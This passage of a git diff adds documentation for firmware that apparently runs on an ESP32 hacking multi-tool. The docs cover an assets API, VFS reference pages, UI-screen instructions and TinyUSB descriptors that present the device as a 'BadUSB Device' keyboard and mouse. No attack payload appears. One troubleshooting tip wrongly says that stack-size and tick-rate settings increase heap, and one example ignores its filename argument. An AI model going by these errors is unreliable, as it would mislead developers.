*font_data; + size_t font_size; +} app_assets_t; + +app_assets_t g_assets = {0}; + +esp_err_t preload_assets(void) { + // Load logo + g_assets.logo_data = storage_assets_load_file("logo.bin", &g_assets.logo_size); + if (g_assets.logo_data == NULL) { + return ESP_FAIL; + } + + // Load font + g_assets.font_data = storage_assets_load_file("font.bin", &g_assets.font_size); + if (g_assets.font_data == NULL) { + free(g_assets.logo_data); + return ESP_FAIL; + } + + ESP_LOGI(TAG, "Assets preloaded (%zu + %zu bytes)", + g_assets.logo_size, g_assets.font_size); + + return ESP_OK; +} + +void cleanup_assets(void) { + free(g_assets.logo_data); + free(g_assets.font_data); + memset(&g_assets, 0, sizeof(g_assets)); +} +``` + +--- + +### Chunked Reading for Large Files + +```c +esp_err_t process_large_asset(const char *filename) { + FILE *f = fopen("/assets/large_file.dat", "rb"); + if (!f) { + return ESP_FAIL; + } + + uint8_t chunk[512]; + size_t bytes_read; + + while ((bytes_read = fread(chunk, 1, sizeof(chunk), f)) > 0) { + // Process chunk + process_data(chunk, bytes_read); + } + + fclose(f); + return ESP_OK; +} +``` + +--- + +### Conditional Asset Loading + +```c +void load_language_assets(const char *language) { + char filename[64]; + snprintf(filename, sizeof(filename), "strings_%s.json", language); + + uint8_t *strings = storage_assets_load_file(filename, NULL); + if (strings == NULL) { + ESP_LOGW(TAG, "Language '%s' not found, using default", language); + strings = storage_assets_load_file("strings_en.json", NULL); + } + + if (strings != NULL) { + parse_language_strings((const char *)strings); + free(strings); + } +} +``` + +--- + +## Flashing Assets + +### Option 1: Automatic (Recommended) + +Add to your `CMakeLists.txt`: + +```cmake +# Create assets partition image from 'assets' folder +littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) +``` + +This automatically flashes the `assets/` folder content when running `idf.py flash`. + +### Option 2: Manual Flash + +```bash +# Build the assets partition image +idf.py build + +# Flash everything including assets +idf.py flash + +# Or flash only assets partition +esptool.py write_flash 0x110000 build/assets.bin +``` + +**Note:** Replace `0x110000` with the actual offset from your partition table. + +### Asset Folder Structure + +``` +project/ +├── assets/ +│ ├── logo.bin +│ ├── config_template.json +│ ├── fonts/ +│ │ ├── arial.ttf +│ │ └── mono.ttf +│ └── images/ +│ ├── icon_wifi.bin +│ └── icon_battery.bin +└── main/ + └── main.c +``` + +--- + +## Troubleshooting + +### "Partition 'assets' not found" + +**Problem:** The assets partition is not defined in the partition table. + +**Solution:** +1. Add partition to `partitions.csv`: + ```csv + assets, data, spiffs, 0x110000, 512K, + ``` +2. Set partition table in `sdkconfig`: + ``` + CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" + CONFIG_PARTITION_TABLE_CUSTOM=y + ``` +3. Rebuild: `idf.py fullclean && idf.py build` + +--- + +### "(empty - partition has no files!)" + +**Problem:** Assets partition exists but contains no files. + +**Solution:** +1. Create `assets/` folder in project root +2. Add files to the folder +3. Enable automatic flash in `CMakeLists.txt`: + ```cmake + littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) + ``` +4. Rebuild and flash: `idf.py flash` + +--- + +### "Failed to allocate memory" + +**Problem:** Insufficient heap for large asset file. + +**Solutions:** +- Use `storage_assets_read_file()` with pre-allocated buffer instead of `load_file()` +- Read file in chunks instead of loading entirely +- Increase heap size in `sdkconfig`: + ``` + CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=4096 + CONFIG_FREERTOS_HZ=1000 + ``` + +--- + +### File Not Found at Runtime + +**Problem:** File exists in assets folder but not found at runtime. + +**Checklist:** +- [ ] Is partition flashed? (`idf.py flash`) +- [ ] Is filename correct? (case-sensitive!) +- [ ] Is `storage_assets_init()` called before reading? +- [ ] Check `storage_assets_print_info()` output - does it list your file? + +--- + +## Performance Considerations + +- **Initialization:** Takes 100-500ms depending on partition size and file count. +- **File Reading:** LittleFS is optimized for small files (< 1MB). +- **Memory:** `load_file()` allocates heap - monitor with `esp_get_free_heap_size()`. +- **Large Files:** For files > 100KB, consider chunked reading instead of full load. + +--- + +## Best Practices + +1. **Keep Assets Small:** LittleFS works best with many small files rather than few large ones. +2. **Compress When Possible:** Pre-compress assets (e.g., PNG → binary bitmap) before flashing. +3. **Validate Sizes:** Always check file sizes match expected values. +4. **Free Memory:** Always `free()` pointers returned by `load_file()`. +5. **Handle Errors:** Never assume assets are present - always validate return codes. +6. **Use Subdirectories:** Organize assets logically (fonts/, images/, sounds/). +7. **Version Assets:** Include version info in filenames or metadata for updates. \ No newline at end of file diff --git a/docs/storage_vfs/c5.md b/docs/storage_vfs/c5.md new file mode 100644 index 000000000..a60e33631 --- /dev/null +++ b/docs/storage_vfs/c5.md @@ -0,0 +1,547 @@ +# Virtual File System (VFS) - Unified Storage Abstraction + +The VFS system provides a unified, low-level abstraction layer for multiple storage backends, allowing applications to work with files using a consistent API regardless of the underlying storage medium (SD Card, SPIFFS, LittleFS, or RAM). + +## Overview + +- **Location:** `components/storage/vfs/` +- **Main Headers:** + - `include/vfs_core.h` (Core API) + - `include/vfs_config.h` (Backend selection) + - `include/vfs_sdcard.h` (SD Card backend) + - `include/vfs_littlefs.h` (LittleFS backend) +- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `esp_littlefs`, `sdmmc`, `spi` + +## Architecture Position + +``` +Application Code + ↓ + Storage API ← Recommended for most applications + ↓ + VFS Core ← You are here (low-level abstraction) + ↓ +Backend-Specific Drivers (SD/LittleFS/SPIFFS/RAM) +``` + +**When to use VFS directly:** +- You need POSIX-like file descriptor operations +- You want manual control over open/read/write/close +- Storage API doesn't provide what you need +- You're building your own storage abstraction + +**When NOT to use VFS:** +- For simple file operations → Use **Storage API** instead +- For read-only assets → Use **Storage Assets** instead + +--- + +## Key Features + +- **Multiple Backends:** Support for SD Card (FAT), SPIFFS, LittleFS, and RAM filesystem +- **Single Backend Selection:** Compile-time selection ensures only one backend is active +- **POSIX-Like API:** Familiar file operations (open, read, write, close, lseek) +- **Directory Operations:** Full directory tree manipulation +- **Backend Abstraction:** Switch storage backends by changing configuration + +--- + +## Backend Selection (Compile-Time) + +The VFS system uses **compile-time backend selection** to ensure only one storage backend is active. + +Edit `vfs_config.h`: + +```c +// Only ONE backend can be uncommented at a time + +#define VFS_USE_SD_CARD // ← Active backend +// #define VFS_USE_SPIFFS +// #define VFS_USE_LITTLEFS +// #define VFS_USE_RAMFS +``` + +**Important:** The system validates this at compile time and will error if multiple backends are selected. + +### Backend Configurations + +Each backend has specific configuration in `vfs_config.h`: + +#### SD Card Backend +```c +#define VFS_MOUNT_POINT "/sdcard" +#define VFS_MAX_FILES 10 +#define VFS_FORMAT_ON_FAIL false +#define VFS_BACKEND_NAME "SD Card" +``` + +#### LittleFS Backend +```c +#define VFS_MOUNT_POINT "/littlefs" +#define VFS_MAX_FILES 10 +#define VFS_FORMAT_ON_FAIL true +#define VFS_PARTITION_LABEL "storage" +#define VFS_BACKEND_NAME "LittleFS" +``` + +--- + +## Data Structures + +### File Descriptor + +```c +typedef int vfs_fd_t; +#define VFS_INVALID_FD -1 +``` + +File descriptor for open files. Similar to POSIX file descriptors. + +--- + +### File/Directory Information + +```c +typedef struct { + char name[VFS_MAX_NAME]; // Entry name (64 chars max) + vfs_entry_type_t type; // VFS_TYPE_FILE or VFS_TYPE_DIR + size_t size; // File size in bytes + time_t mtime; // Last modification time + time_t ctime; // Creation time + bool is_hidden; // Hidden attribute + bool is_readonly; // Read-only attribute +} vfs_stat_t; +``` + +--- + +### Filesystem Statistics + +```c +typedef struct { + uint64_t total_bytes; // Total filesystem capacity + uint64_t free_bytes; // Available free space + uint64_t used_bytes; // Space currently in use + uint32_t block_size; // Filesystem block size + uint32_t total_blocks; // Total number of blocks + uint32_t free_blocks; // Available free blocks +} vfs_statvfs_t; +``` + +--- + +## Core API Reference + +### Initialization + +#### `vfs_init_auto` + +```c +esp_err_t vfs_init_auto(void); +``` + +Initializes the VFS backend selected in `vfs_config.h`. + +**Returns:** +- `ESP_OK` - Backend initialized and mounted successfully +- `ESP_FAIL` - Initialization failed (check logs) + +--- + +#### `vfs_deinit_auto` + +```c +esp_err_t vfs_deinit_auto(void); +``` + +Unmounts and deinitializes the active VFS backend. + +**Returns:** +- `ESP_OK` - Backend deinitialized successfully +- `ESP_FAIL` - Deinitialization failed + +--- + +#### `vfs_is_mounted_auto` + +```c +bool vfs_is_mounted_auto(void); +``` + +Checks if the active backend is currently mounted. + +--- + +#### `vfs_get_mount_point` + +```c +const char* vfs_get_mount_point(void); +``` + +Returns the mount point path for the active backend (e.g., "/sdcard", "/littlefs"). + +--- + +#### `vfs_get_backend_name` + +```c +const char* vfs_get_backend_name(void); +``` + +Returns the human-readable name of the active backend (e.g., "SD Card", "LittleFS"). + +--- + +#### `vfs_print_info` + +```c +void vfs_print_info(void); +``` + +Prints detailed information about the active VFS backend to the console, including mount point, capacity, and usage statistics. + +--- + +### File Operations (POSIX-like) + +#### `vfs_open` + +```c +vfs_fd_t vfs_open(const char *path, int flags, int mode); +``` + +Opens a file with specified flags and permissions. + +**Parameters:** +- `path` - Full path to file (e.g., "/sdcard/data.txt") +- `flags` - Opening mode flags (bitwise OR): + - `VFS_O_RDONLY` - Read-only + - `VFS_O_WRONLY` - Write-only + - `VFS_O_RDWR` - Read and write + - `VFS_O_CREAT` - Create if doesn't exist + - `VFS_O_TRUNC` - Truncate to zero length + - `VFS_O_APPEND` - Append to end of file + - `VFS_O_EXCL` - Fail if file exists (with O_CREAT) +- `mode` - File permissions (POSIX mode, e.g., 0644) + +**Returns:** +- Valid file descriptor (>= 0) on success +- `VFS_INVALID_FD` on failure + +--- + +#### `vfs_read` + +```c +ssize_t vfs_read(vfs_fd_t fd, void *buf, size_t size); +``` + +Reads data from an open file. + +**Returns:** +- Number of bytes read (>= 0) +- -1 on error + +--- + +#### `vfs_write` + +```c +ssize_t vfs_write(vfs_fd_t fd, const void *buf, size_t size); +``` + +Writes data to an open file. + +**Returns:** +- Number of bytes written (>= 0) +- -1 on error + +--- + +#### `vfs_lseek` + +```c +off_t vfs_lseek(vfs_fd_t fd, off_t offset, int whence); +``` + +Moves the file position pointer. + +**Parameters:** +- `whence` - Reference point: + - `VFS_SEEK_SET` - From beginning of file + - `VFS_SEEK_CUR` - From current position + - `VFS_SEEK_END` - From end of file + +**Returns:** +- New file position on success +- -1 on error + +--- + +#### `vfs_close` + +```c +esp_err_t vfs_close(vfs_fd_t fd); +``` + +Closes an open file descriptor. + +--- + +#### `vfs_fsync` + +```c +esp_err_t vfs_fsync(vfs_fd_t fd); +``` + +Flushes file buffers to storage, ensuring data is physically written. + +--- + +### File Metadata + +#### `vfs_stat` + +```c +esp_err_t vfs_stat(const char *path, vfs_stat_t *st); +``` + +Gets information about a file or directory. + +--- + +#### `vfs_exists` + +```c +bool vfs_exists(const char *path); +``` + +Checks if a file or directory exists. + +--- + +#### `vfs_get_size` + +```c +esp_err_t vfs_get_size(const char *path, size_t *size); +``` + +Gets the size of a file in bytes. + +--- + +### File Management + +#### `vfs_rename` + +```c +esp_err_t vfs_rename(const char *old_path, const char *new_path); +``` + +Renames or moves a file. + +--- + +#### `vfs_unlink` + +```c +esp_err_t vfs_unlink(const char *path); +``` + +Deletes a file. + +--- + +#### `vfs_truncate` + +```c +esp_err_t vfs_truncate(const char *path, off_t length); +``` + +Resizes a file to the specified length. + +--- + +### Directory Operations + +#### `vfs_mkdir` + +```c +esp_err_t vfs_mkdir(const char *path, int mode); +``` + +Creates a new directory. + +--- + +#### `vfs_rmdir` + +```c +esp_err_t vfs_rmdir(const char *path); +``` + +Removes an empty directory. + +--- + +#### `vfs_rmdir_recursive` + +```c +esp_err_t vfs_rmdir_recursive(const char *path); +``` + +Recursively removes a directory and all its contents. + +--- + +#### `vfs_opendir` / `vfs_readdir` / `vfs_closedir` + +```c +vfs_dir_t vfs_opendir(const char *path); +esp_err_t vfs_readdir(vfs_dir_t dir, vfs_stat_t *entry); +esp_err_t vfs_closedir(vfs_dir_t dir); +``` + +Directory traversal using iterator pattern. + +--- + +#### `vfs_list_dir` + +```c +typedef void (*vfs_dir_callback_t)(const vfs_stat_t *entry, void *user_data); +esp_err_t vfs_list_dir(const char *path, vfs_dir_callback_t callback, void *user_data); +``` + +Lists directory contents using callback. + +--- + +### Filesystem Information + +#### `vfs_statvfs` + +```c +esp_err_t vfs_statvfs(const char *path, vfs_statvfs_t *stat); +``` + +Gets filesystem statistics. + +--- + +#### `vfs_get_free_space` + +```c +esp_err_t vfs_get_free_space(const char *path, uint64_t *free_bytes); +``` + +Gets available free space. + +--- + +#### `vfs_get_usage_percent` + +```c +esp_err_t vfs_get_usage_percent(const char *path, float *percentage); +``` + +Calculates filesystem usage percentage. + +--- + +### High-Level Helpers + +These functions simplify common operations by handling open/close internally. + +#### `vfs_read_file` + +```c +esp_err_t vfs_read_file(const char *path, void *buf, size_t size, size_t *bytes_read); +``` + +Reads entire file content in one operation. + +--- + +#### `vfs_write_file` + +```c +esp_err_t vfs_write_file(const char *path, const void *buf, size_t size); +``` + +Writes data to file, creating or overwriting it. + +--- + +#### `vfs_append_file` + +```c +esp_err_t vfs_append_file(const char *path, const void *buf, size_t size); +``` + +Appends data to end of file. + +--- + +#### `vfs_copy_file` + +```c +esp_err_t vfs_copy_file(const char *src, const char *dst); +``` + +Copies a file. + +--- + +## Backend-Specific APIs + +### SD Card Backend + +```c +#include "vfs_sdcard.h" + +esp_err_t vfs_sdcard_init(void); +esp_err_t vfs_sdcard_deinit(void); +bool vfs_sdcard_is_mounted(void); +void vfs_sdcard_print_info(void); +esp_err_t vfs_sdcard_format(void); +``` + +### LittleFS Backend + +```c +#include "vfs_littlefs.h" + +esp_err_t vfs_littlefs_init(void); +esp_err_t vfs_littlefs_deinit(void); +bool vfs_littlefs_is_mounted(void); +void vfs_littlefs_print_info(void); +esp_err_t vfs_littlefs_format(void); +``` + +--- + +## Switching Backends + +To switch between storage backends, edit `vfs_config.h`: + +```c +// From SD Card: +#define VFS_USE_SD_CARD + +// To LittleFS: +// #define VFS_USE_SD_CARD +#define VFS_USE_LITTLEFS +``` + +Rebuild your project. All `vfs_*` function calls remain the same. + +--- + +## Best Practices + +1. **Consider Storage API first** - Use VFS only when you need low-level control +2. **Always check return values** - Especially for `vfs_open()` and `vfs_init_auto()` +3. **Close file descriptors** - Always call `vfs_close()` when done +4. **Use absolute paths** - Include mount point (e.g., "/sdcard/file.txt") +5. **Single backend only** - Never uncomment multiple backends in `vfs_config.h` \ No newline at end of file diff --git a/docs/storage_vfs/p4.md b/docs/storage_vfs/p4.md new file mode 100644 index 000000000..65b3c7a8a --- /dev/null +++ b/docs/storage_vfs/p4.md @@ -0,0 +1,547 @@ +# Virtual File System (VFS) - Unified Storage Abstraction + +The VFS system provides a unified, low-level abstraction layer for multiple storage backends, allowing applications to work with files using a consistent API regardless of the underlying storage medium (SD Card, SPIFFS, LittleFS, or RAM). + +## Overview + +- **Location:** `components/Service/storage_vfs/` +- **Main Headers:** + - `include/vfs_core.h` (Core API) + - `include/vfs_config.h` (Backend selection) + - `include/vfs_sdcard.h` (SD Card backend) + - `include/vfs_littlefs.h` (LittleFS backend) +- **Dependencies:** `esp_vfs`, `esp_vfs_fat`, `esp_littlefs`, `sdmmc`, `spi` + +## Architecture Position + +``` +Application Code + ↓ + Storage API ← Recommended for most applications + ↓ + VFS Core ← You are here (low-level abstraction) + ↓ +Backend-Specific Drivers (SD/LittleFS/SPIFFS/RAM) +``` + +**When to use VFS directly:** +- You need POSIX-like file descriptor operations +- You want manual control over open/read/write/close +- Storage API doesn't provide what you need +- You're building your own storage abstraction + +**When NOT to use VFS:** +- For simple file operations → Use **Storage API** instead +- For read-only assets → Use **Storage Assets** instead + +--- + +## Key Features + +- **Multiple Backends:** Support for SD Card (FAT), SPIFFS, LittleFS, and RAM filesystem +- **Single Backend Selection:** Compile-time selection ensures only one backend is active +- **POSIX-Like API:** Familiar file operations (open, read, write, close, lseek) +- **Directory Operations:** Full directory tree manipulation +- **Backend Abstraction:** Switch storage backends by changing configuration + +--- + +## Backend Selection (Compile-Time) + +The VFS system uses **compile-time backend selection** to ensure only one storage backend is active. + +Edit `vfs_config.h`: + +```c +// Only ONE backend can be uncommented at a time + +#define VFS_USE_SD_CARD // ← Active backend +// #define VFS_USE_SPIFFS +// #define VFS_USE_LITTLEFS +// #define VFS_USE_RAMFS +``` + +**Important:** The system validates this at compile time and will error if multiple backends are selected. + +### Backend Configurations + +Each backend has specific configuration in `vfs_config.h`: + +#### SD Card Backend +```c +#define VFS_MOUNT_POINT "/sdcard" +#define VFS_MAX_FILES 10 +#define VFS_FORMAT_ON_FAIL false +#define VFS_BACKEND_NAME "SD Card" +``` + +#### LittleFS Backend +```c +#define VFS_MOUNT_POINT "/littlefs" +#define VFS_MAX_FILES 10 +#define VFS_FORMAT_ON_FAIL true +#define VFS_PARTITION_LABEL "storage" +#define VFS_BACKEND_NAME "LittleFS" +``` + +--- + +## Data Structures + +### File Descriptor + +```c +typedef int vfs_fd_t; +#define VFS_INVALID_FD -1 +``` + +File descriptor for open files. Similar to POSIX file descriptors. + +--- + +### File/Directory Information + +```c +typedef struct { + char name[VFS_MAX_NAME]; // Entry name (64 chars max) + vfs_entry_type_t type; // VFS_TYPE_FILE or VFS_TYPE_DIR + size_t size; // File size in bytes + time_t mtime; // Last modification time + time_t ctime; // Creation time + bool is_hidden; // Hidden attribute + bool is_readonly; // Read-only attribute +} vfs_stat_t; +``` + +--- + +### Filesystem Statistics + +```c +typedef struct { + uint64_t total_bytes; // Total filesystem capacity + uint64_t free_bytes; // Available free space + uint64_t used_bytes; // Space currently in use + uint32_t block_size; // Filesystem block size + uint32_t total_blocks; // Total number of blocks + uint32_t free_blocks; // Available free blocks +} vfs_statvfs_t; +``` + +--- + +## Core API Reference + +### Initialization + +#### `vfs_init_auto` + +```c +esp_err_t vfs_init_auto(void); +``` + +Initializes the VFS backend selected in `vfs_config.h`. + +**Returns:** +- `ESP_OK` - Backend initialized and mounted successfully +- `ESP_FAIL` - Initialization failed (check logs) + +--- + +#### `vfs_deinit_auto` + +```c +esp_err_t vfs_deinit_auto(void); +``` + +Unmounts and deinitializes the active VFS backend. + +**Returns:** +- `ESP_OK` - Backend deinitialized successfully +- `ESP_FAIL` - Deinitialization failed + +--- + +#### `vfs_is_mounted_auto` + +```c +bool vfs_is_mounted_auto(void); +``` + +Checks if the active backend is currently mounted. + +--- + +#### `vfs_get_mount_point` + +```c +const char* vfs_get_mount_point(void); +``` + +Returns the mount point path for the active backend (e.g., "/sdcard", "/littlefs"). + +--- + +#### `vfs_get_backend_name` + +```c +const char* vfs_get_backend_name(void); +``` + +Returns the human-readable name of the active backend (e.g., "SD Card", "LittleFS"). + +--- + +#### `vfs_print_info` + +```c +void vfs_print_info(void); +``` + +Prints detailed information about the active VFS backend to the console, including mount point, capacity, and usage statistics. + +--- + +### File Operations (POSIX-like) + +#### `vfs_open` + +```c +vfs_fd_t vfs_open(const char *path, int flags, int mode); +``` + +Opens a file with specified flags and permissions. + +**Parameters:** +- `path` - Full path to file (e.g., "/sdcard/data.txt") +- `flags` - Opening mode flags (bitwise OR): + - `VFS_O_RDONLY` - Read-only + - `VFS_O_WRONLY` - Write-only + - `VFS_O_RDWR` - Read and write + - `VFS_O_CREAT` - Create if doesn't exist + - `VFS_O_TRUNC` - Truncate to zero length + - `VFS_O_APPEND` - Append to end of file + - `VFS_O_EXCL` - Fail if file exists (with O_CREAT) +- `mode` - File permissions (POSIX mode, e.g., 0644) + +**Returns:** +- Valid file descriptor (>= 0) on success +- `VFS_INVALID_FD` on failure + +--- + +#### `vfs_read` + +```c +ssize_t vfs_read(vfs_fd_t fd, void *buf, size_t size); +``` + +Reads data from an open file. + +**Returns:** +- Number of bytes read (>= 0) +- -1 on error + +--- + +#### `vfs_write` + +```c +ssize_t vfs_write(vfs_fd_t fd, const void *buf, size_t size); +``` + +Writes data to an open file. + +**Returns:** +- Number of bytes written (>= 0) +- -1 on error + +--- + +#### `vfs_lseek` + +```c +off_t vfs_lseek(vfs_fd_t fd, off_t offset, int whence); +``` + +Moves the file position pointer. + +**Parameters:** +- `whence` - Reference point: + - `VFS_SEEK_SET` - From beginning of file + - `VFS_SEEK_CUR` - From current position + - `VFS_SEEK_END` - From end of file + +**Returns:** +- New file position on success +- -1 on error + +--- + +#### `vfs_close` + +```c +esp_err_t vfs_close(vfs_fd_t fd); +``` + +Closes an open file descriptor. + +--- + +#### `vfs_fsync` + +```c +esp_err_t vfs_fsync(vfs_fd_t fd); +``` + +Flushes file buffers to storage, ensuring data is physically written. + +--- + +### File Metadata + +#### `vfs_stat` + +```c +esp_err_t vfs_stat(const char *path, vfs_stat_t *st); +``` + +Gets information about a file or directory. + +--- + +#### `vfs_exists` + +```c +bool vfs_exists(const char *path); +``` + +Checks if a file or directory exists. + +--- + +#### `vfs_get_size` + +```c +esp_err_t vfs_get_size(const char *path, size_t *size); +``` + +Gets the size of a file in bytes. + +--- + +### File Management + +#### `vfs_rename` + +```c +esp_err_t vfs_rename(const char *old_path, const char *new_path); +``` + +Renames or moves a file. + +--- + +#### `vfs_unlink` + +```c +esp_err_t vfs_unlink(const char *path); +``` + +Deletes a file. + +--- + +#### `vfs_truncate` + +```c +esp_err_t vfs_truncate(const char *path, off_t length); +``` + +Resizes a file to the specified length. + +--- + +### Directory Operations + +#### `vfs_mkdir` + +```c +esp_err_t vfs_mkdir(const char *path, int mode); +``` + +Creates a new directory. + +--- + +#### `vfs_rmdir` + +```c +esp_err_t vfs_rmdir(const char *path); +``` + +Removes an empty directory. + +--- + +#### `vfs_rmdir_recursive` + +```c +esp_err_t vfs_rmdir_recursive(const char *path); +``` + +Recursively removes a directory and all its contents. + +--- + +#### `vfs_opendir` / `vfs_readdir` / `vfs_closedir` + +```c +vfs_dir_t vfs_opendir(const char *path); +esp_err_t vfs_readdir(vfs_dir_t dir, vfs_stat_t *entry); +esp_err_t vfs_closedir(vfs_dir_t dir); +``` + +Directory traversal using iterator pattern. + +--- + +#### `vfs_list_dir` + +```c +typedef void (*vfs_dir_callback_t)(const vfs_stat_t *entry, void *user_data); +esp_err_t vfs_list_dir(const char *path, vfs_dir_callback_t callback, void *user_data); +``` + +Lists directory contents using callback. + +--- + +### Filesystem Information + +#### `vfs_statvfs` + +```c +esp_err_t vfs_statvfs(const char *path, vfs_statvfs_t *stat); +``` + +Gets filesystem statistics. + +--- + +#### `vfs_get_free_space` + +```c +esp_err_t vfs_get_free_space(const char *path, uint64_t *free_bytes); +``` + +Gets available free space. + +--- + +#### `vfs_get_usage_percent` + +```c +esp_err_t vfs_get_usage_percent(const char *path, float *percentage); +``` + +Calculates filesystem usage percentage. + +--- + +### High-Level Helpers + +These functions simplify common operations by handling open/close internally. + +#### `vfs_read_file` + +```c +esp_err_t vfs_read_file(const char *path, void *buf, size_t size, size_t *bytes_read); +``` + +Reads entire file content in one operation. + +--- + +#### `vfs_write_file` + +```c +esp_err_t vfs_write_file(const char *path, const void *buf, size_t size); +``` + +Writes data to file, creating or overwriting it. + +--- + +#### `vfs_append_file` + +```c +esp_err_t vfs_append_file(const char *path, const void *buf, size_t size); +``` + +Appends data to end of file. + +--- + +#### `vfs_copy_file` + +```c +esp_err_t vfs_copy_file(const char *src, const char *dst); +``` + +Copies a file. + +--- + +## Backend-Specific APIs + +### SD Card Backend + +```c +#include "vfs_sdcard.h" + +esp_err_t vfs_sdcard_init(void); +esp_err_t vfs_sdcard_deinit(void); +bool vfs_sdcard_is_mounted(void); +void vfs_sdcard_print_info(void); +esp_err_t vfs_sdcard_format(void); +``` + +### LittleFS Backend + +```c +#include "vfs_littlefs.h" + +esp_err_t vfs_littlefs_init(void); +esp_err_t vfs_littlefs_deinit(void); +bool vfs_littlefs_is_mounted(void); +void vfs_littlefs_print_info(void); +esp_err_t vfs_littlefs_format(void); +``` + +--- + +## Switching Backends + +To switch between storage backends, edit `vfs_config.h`: + +```c +// From SD Card: +#define VFS_USE_SD_CARD + +// To LittleFS: +// #define VFS_USE_SD_CARD +#define VFS_USE_LITTLEFS +``` + +Rebuild your project. All `vfs_*` function calls remain the same. + +--- + +## Best Practices + +1. **Consider Storage API first** - Use VFS only when you need low-level control +2. **Always check return values** - Especially for `vfs_open()` and `vfs_init_auto()` +3. **Close file descriptors** - Always call `vfs_close()` when done +4. **Use absolute paths** - Include mount point (e.g., "/sdcard/file.txt") +5. **Single backend only** - Never uncomment multiple backends in `vfs_config.h` \ No newline at end of file diff --git a/docs/tusb_desc/README.md b/docs/tusb_desc/README.md new file mode 100644 index 000000000..04509b72a --- /dev/null +++ b/docs/tusb_desc/README.md @@ -0,0 +1,74 @@ +# TinyUSB Descriptors (HID Composite) + +This component defines the USB descriptors required to enumerate the ESP32-P4 as a USB HID Composite Device (Keyboard + Mouse) and provides the initialization routine for the TinyUSB driver. + +## Overview + +- **Location:** `components/Drivers/tusb_desc/` +- **Header:** `include/tusb_desc.h` +- **Dependencies:** `tinyusb`, `esp_tinyusb`, `driver/gpio` +- **USB Port:** High Speed (ESP32-P4) + +## USB Descriptors + +### Device Descriptor + +| Field | Value | +|-------|-------| +| USB Version | 2.0 | +| Vendor ID | `0xCAFE` | +| Product ID | `0x4001` | +| Device Class | Defined at interface level | +| Configurations | 1 | + +### Configuration Descriptor + +| Field | Value | +|-------|-------| +| Interfaces | 1 (HID) | +| Max Power | 100 mA | +| Attributes | Remote Wakeup | + +### HID Report Descriptor + +Single HID interface with two reports using Report IDs: + +| Report ID | Type | Usage | +|-----------|------|-------| +| 1 | Keyboard | Generic Desktop Keyboard | +| 2 | Mouse | Generic Desktop Mouse (buttons + XY + wheel) | + +### String Descriptors + +| Index | Value | +|-------|-------| +| 0 | Language ID (English US) | +| 1 | Manufacturer: "HighCode" | +| 2 | Product: "BadUSB Device" | +| 3 | Serial: "123456" | + +## API Reference + +### `busb_init` +```c +esp_err_t busb_init(void); +``` +Initializes the TinyUSB driver with the defined descriptors. +1. Installs the GPIO ISR service (required for ESP32-P4 High Speed USB). +2. Configures device, configuration, and HID report descriptors. +3. Installs the TinyUSB driver on the High Speed port. + +Must be called before any HID report transmission. + +## TinyUSB Callbacks + +The component implements the required TinyUSB callbacks to serve descriptors to the USB host: + +| Callback | Purpose | +|----------|---------| +| `tud_descriptor_device_cb` | Returns the device descriptor | +| `tud_descriptor_configuration_cb` | Returns the configuration descriptor | +| `tud_descriptor_string_cb` | Returns string descriptors (manufacturer, product, serial) | +| `tud_hid_descriptor_report_cb` | Returns the HID report descriptor | +| `tud_hid_get_report_cb` | Handles GET_REPORT requests (stub) | +| `tud_hid_set_report_cb` | Handles SET_REPORT requests (stub) | diff --git a/docs/ui/README.md b/docs/ui/README.md new file mode 100644 index 000000000..2cbbcc1f0 --- /dev/null +++ b/docs/ui/README.md @@ -0,0 +1,190 @@ +# ui_manager +step-by-step process for adding a new screen (feature) to the HighBoy system using the ui_manager architecture. + +**Example** used: We'll create a fictional **Bluetooth (BLE)** screen. + +### 1. Register the screen in the UI ui_manager +The `ui_manager` needs to know about the new screen to handle navigation. + +**File:** `ui/ui_manager.h` +1. Add a new identifier to the `enum`: +```c +typedef enum { + SCREEN_NONE, + SCREEN_HOME, + SCREEN_MENU, + SCREEN_WIFI_MENU, + // ... + SCREEN_BLE_MENU, // <--- NEW ID ADDED +} screen_id_t; +``` + +### 2. Configure routing and Power Management +Define how the ui_manager should open the screen and handle any required hardware power states. + +**File:** `ui/ui_manager.c` +1. Include de header for the new screen (created in Step 3): +```c +#include "screens/bluetooth/ui_ble_menu.h" +``` + +2. (Optional) Power Management: If the screen uses a radio (Wi-Fi, BLE, RF), add logic to automatically enable/disable the hardware. +```c +static bool is_ble_screen(screen_id_t screen) { + switch (screen) { + case SCREEN_BLE_MENU: + case SCREEN_BLE_SCAN: // Future sub-screens + return true; + default: + return false; + } +} +``` + +Update `ui_switch_screen` to call `ble_init()` / `ble_deinit()` based on this flag (similar to how Wi-Fi is handled). + +3. Add the case to the main switch statement: +```c +void ui_switch_screen(screen_id_t new_screen) { + if (ui_acquire()) { + // ... init/deinit logic ... + clear_current_screen(); + + switch (new_screen) { + // ... other cases ... + + case SCREEN_BLE_MENU: // <--- NEW ROUTE + ui_ble_menu_open(); + break; + } + // ... + } +} +``` + +### 3. Create the New Screen UI +Create the folder and files for the new feature: `ui/screens/bluetooth/` + +**Header File:** `ui_ble_menu.h` +```c +#ifndef UI_BLE_MENU_H +#define UI_BLE_MENU_H +#include "lvgl.h" +void ui_ble_menu_open(void); // Public function +#endif +``` + +**Source File:** `ui_ble_menu.c` +Standard template from any Highboy screen: + +```c +#include "ui_ble_menu.h" +#include "ui_manager.h" +#include "lv_port_indev.h" // Access to main_group +#include "esp_log.h" + +static const char *TAG = "UI_BLE"; +static lv_obj_t * screen_ble = NULL; + +// 1. Event Callback (Navigation) +static void ble_event_cb(lv_event_t * e) { + lv_event_code_t code = lv_event_get_code(e); + + if (code == LV_EVENT_KEY) { + uint32_t key = lv_event_get_key(e); + // BACK BUTTON (ESC/LEFT) + if (key == LV_KEY_ESC || key == LV_KEY_LEFT) { + ESP_LOGI(TAG, "Returning to Main Menu"); + // Destroy current screen and open Menu + ui_switch_screen(SCREEN_MENU); + } + } +} + +// 2. Screen Build Function +void ui_ble_menu_open(void) { + // Safety cleanup + if (screen_ble) { + lv_obj_del(screen_ble); + screen_ble = NULL; + } + + // A. Create Base Screen + screen_ble = lv_obj_create(NULL); + lv_obj_set_style_bg_color(screen_ble, lv_color_black(), 0); + + // B. Add Content (e.g., Title) + lv_obj_t * label = lv_label_create(screen_ble); + lv_label_set_text(label, "Bluetooth Menu"); + lv_obj_set_style_text_color(label, lv_color_white(), 0); + lv_obj_align(label, LV_ALIGN_CENTER, 0, 